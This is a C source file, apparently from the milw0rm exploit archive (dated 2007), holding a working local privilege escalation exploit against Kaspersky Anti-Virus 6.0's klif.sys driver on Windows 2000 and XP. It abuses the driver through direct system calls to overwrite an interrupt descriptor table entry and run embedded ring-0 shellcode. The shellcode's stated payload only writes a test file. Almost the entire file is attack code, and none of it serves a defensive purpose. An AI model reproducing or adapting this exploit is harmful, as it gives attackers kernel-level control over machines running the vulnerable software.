168 lines
No EOL
4.9 KiB
C
168 lines
No EOL
4.9 KiB
C
// kav 6.0 0day local priv escalation exploit
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// by m4d
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// http://unl0ck.net
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#include <windows.h>
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#include <stdlib.h>
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#include <stdio.h>
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// r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"
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unsigned char Shellcode[405] = {
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0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B,
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0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66,
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0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF,
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0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00,
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0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D,
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0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89,
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0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1,
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0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D,
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0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02,
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0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00,
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0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45,
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0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF,
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0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F,
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0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
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0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF,
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0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74,
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0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77,
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0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
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0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00,
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0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
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0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D,
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0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8,
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0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C,
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0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24,
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0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89,
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0x6C, 0x24, 0x1C, 0x61, 0xC3
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};
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typedef struct _FIRST_PARAM {
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ULONG SwitchIndex;
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ULONG Unknown; // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..
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ULONG Value; // this value will rewrite DWORD of memory
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} FIRST_PARAM, *PFIRST_PARAM;
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void main(int argc, char* argv[])
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{
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__try
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{
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FIRST_PARAM Param1;
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ULONG Param2; // pointer to write DATA - 8
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CHAR Idtr[6];
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CHAR IsKAVInstalled;
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OSVERSIONINFOEX os;
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os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
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GetVersionEx((LPOSVERSIONINFO)&os);
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if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||
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os.dwMajorVersion != 5 ||
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os.dwMinorVersion > 1)
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{
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printf("This OS version unsupported\n");
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return;
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}
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// Äëÿ íà÷àëà îïðåäåëèì, óñòàíîâëåí ëè KAV èëè íåò
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__asm {
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cmp os.dwMinorVersion, 0
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jnz short $+13
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mov eax, 0F8h // 2k
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jmp short $+7
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mov eax, 11Ch // xp
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int 2Eh
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cmp eax, 0Ch
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setz al
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mov IsKAVInstalled, al
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}
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if (!IsKAVInstalled)
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{
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printf("KAV6 didn't installed\n");
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return;
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}
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Param1.SwitchIndex = 3; // Index of jmp in case of switch()
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Param1.Unknown = 0xFF0002;
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__asm {
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pusha
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sidt Idtr
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mov eax, dword ptr [Idtr+2]
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add eax, 0DAh * 8 - 8
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mov Param2, eax
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// Write lower DWORD IdtEntry
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mov ecx, offset Shellcode
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and ecx, 0000FFFFh
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or ecx, 00080000h
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mov Param1.Value, ecx // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]
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push Param2
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lea eax, Param1
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push eax
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mov edx, esp
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cmp os.dwMinorVersion, 0
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jnz short $+13
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mov eax, 100h // 2k
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jmp short $+7
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mov eax, 124h // xp
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int 2Eh
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add esp, 2*4
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// Write high DWORD IdtEntry
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add Param2, 4
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mov ecx, offset Shellcode
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and ecx, 0FFFF0000h
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or ecx, 0000EE00h
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mov Param1.Value, ecx // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]
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push Param2
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lea eax, Param1
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push eax
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mov edx, esp
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cmp os.dwMinorVersion, 0
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jnz short $+13
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mov eax, 100h // 2k
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jmp short $+7
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mov eax, 124h // xp
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int 2Eh
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add esp, 2*4
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// Call Gate :-) (COLGATE)
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push fs
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int 0DAh
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pop fs
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popa
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}
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printf("Exploited successful\n");
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}
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__except(1) {
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printf("Can't create interrupt gate\n");
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}
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}
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// 15.01.07 MaD
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// milw0rm.com [2007-01-15]
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